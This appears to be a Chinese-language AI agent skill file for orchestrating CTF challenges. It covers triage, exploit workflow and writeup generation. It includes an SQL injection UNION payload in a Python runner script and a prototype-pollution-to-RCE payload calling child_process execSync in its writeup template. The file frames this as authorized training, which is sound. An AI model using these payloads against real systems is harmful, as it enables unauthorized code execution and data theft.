---
name: "ctf-challenge-orchestrator"
description: "CTF 靶场挑战调度与漏洞利用验证"
---

# CTF 靶场挑战调度与漏洞利用验证

## 适用场景
在网络安全攻防演练、CTF 竞赛（Capture The Flag：Web、Pwn、Reverse、Crypto、Misc、Forensics）或企业内网渗透测试复现时，指导 AI 对未知挑战目标进行首轮分类评级（Triage）、攻击面自动化枚举、利用链（Exploit Chain）构造、动态断点/解密测试与 Flag 提取证据链留存。

## 功能说明
> 告别盲目乱撞 payload 导致的无序尝试，建立规范的安全攻防自动化执行环。支持多类别漏洞自动化分类分流、PoC 脚本本地无害化沙箱运行与严密的解题步骤复盘文档自动生成。

## 这个案例能帮你做什么
- 自动识别靶机协议与题目类型（如根据 HTTP 响应头、源码反编译特征、ELF 保护机制 checksec 输出快速定性）。
- Web 方向：自动化测试 SQL 盲注、SSTI 模板注入、SSRF 绕过、JWT 伪造与原型链污染。
- 二进制/逆向方向：辅助反汇编分析、GDB 自动化脚本编写、ROP 链编排与 Shellcode 占位调试。
- 密码学/取证：快速提取 PCAP 流量隐蔽信道、LSB 隐写、内存转储凭据，并编写 SageMath/Python 恢复脚本。
- 输出结构化的 Writeup 复盘文档，包括题目简述、漏洞原理、完整利用代码与 Flag 截屏证据。

## 你需要的 Skills（按类型）

| 类型 | Skill / 工具 | 用途 | 来源 |
|---|---|---|---|
| 安全工具链 | `nmap` / `checksec` / `binwalk` | 基础网络指纹与二进制安全特性探测 | CLI Tools |
| 漏洞验证 | `pwntools` / `requests` / `cryptography` | 编写确定性自动化 PoC 与 Exploit | Python Packages |
| 内置 | `filesystem` / 终端执行能力 | 执行隔离调试与证据记录 | Built-in |

## 快速体验版（先跑一轮）

```text
你是顶级 DEFCON CTF 战队的主力攻防研究员。
我遇到一道 Web 题目：
目标通过 Node.js Express 搭建，提供一个数据合并接口：/api/merge，参数为 JSON 对象。
1. 请评估是否存在原型链污染（Prototype Pollution）漏洞，给出确定性验证 Payload。
2. 如果存在污染，推演如何污染 Object.prototype 进而触发模板引擎（如 EJS / Pug）或 child_process 执行系统命令（RCE）。
3. 编写完整的自动化 Python exploit 脚本，并自动提取 flag{...} 正则匹配内容。
```

## 稳定自动版（可长期运行）

### 1) 自动化 CTF 挑战验证框架脚本 (`ctf_exploit_runner.py`)

```python
import requests
import re
import sys

class CTFChallengeRunner:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.flag = None
        
    def step1_probe(self):
        """探测基础指纹与连通性"""
        print(f"[*] 正在探测靶标: {self.target_url}")
        try:
            resp = self.session.get(self.target_url, timeout=5)
            server = resp.headers.get("Server", "Unknown")
            print(f"[+] 靶标存活 | HTTP {resp.status_code} | Server: {server}")
            return True
        except Exception as e:
            print(f"[!] 连通性测试失败: {e}")
            return False
            
    def step2_verify_vulnerability(self, payload):
        """发送测试 Payload 验证注入点"""
        url = f"{self.target_url}/api/query"
        print("[*] 正在执行漏洞检测 Payload...")
        try:
            resp = self.session.post(url, json=payload, timeout=10)
            if "flag{" in resp.text.lower():
                print("[!] 成功在响应中捕获直接 Flag!")
                self.extract_flag(resp.text)
                return True
            return resp.status_code == 200
        except Exception as e:
            print(f"[!] 请求异常: {e}")
            return False
            
    def extract_flag(self, text):
        """正则匹配提取 Flag"""
        match = re.search(r"flag\{[a-zA-Z0-9_\-\+\$@!#]+\}", text, re.IGNORECASE)
        if match:
            self.flag = match.group(0)
            print(f"\n==========================================")
            print(f"🎉 成功斩获 FLAG: {self.flag}")
            print(f"==========================================\n")
            return self.flag
        return None

if __name__ == '__main__':
    runner = CTFChallengeRunner("http://127.0.0.1:8080")
    if runner.step1_probe():
        # 示例：验证某类特定注入
        runner.step2_verify_vulnerability({"id": "1' UNION SELECT 1, flag, 3 FROM secrets-- -"})
```

### 2) 攻防复盘报告（Writeup）自动生成规范

解题成功后，系统强制生成结构化复盘卡片：
```markdown
# CTF Writeup: [Challenge Name]
- **Category**: Web / Pwn / Reverse / Crypto
- **Difficulty**: Easy / Medium / Hard
- **Key Vulnerability**: 原型链污染导致代码执行 (CVE-XXXX)
- **Exploitation Steps**:
  1. 发现未做深度拷贝递归拦截的 `merge` 函数。
  2. 构造 `__proto__.outputFunctionName = "x;return process.mainModule.require('child_process').execSync('cat /flag');s"`。
  3. 渲染模板时触发执行，成功读取 Flag。
- **Remediation**: 使用 `Object.create(null)` 创建无原型字典，或升级 Lodash 至无缺陷版本。
```

## 风险与边界
- 严禁对未经授权的公网真实基础设施发起未经许可的渗透扫描与漏洞利用行为。所有测试操作必须严格局限在授权靶场或 CTF 竞赛比赛网络内。
- 漏洞利用代码必须包含超时退出机制，防止死循环导致靶机拒绝服务（DoS）。

## 使用建议
- 建立“轻探针先行”原则：先用无害的 sleep 或 dnslog/httpbin 回连验证注入通道，再进行利用尝试，防止靶机直接崩溃封禁 IP。
- 遇到复杂加壳二进制题目，优先提取内存 Dump 比对而不是生硬静态逆向。

## 成功标准
- 准确定位漏洞成因并给出复现 PoC。
- 成功抓取 Flag 并保留清晰的流量与终端证据。
- 自动化输出规范格式的 Writeup 报告。

## 源文件
来源：awesome-openclaw-zh  
原始文件：ctf-challenge-orchestrator.md
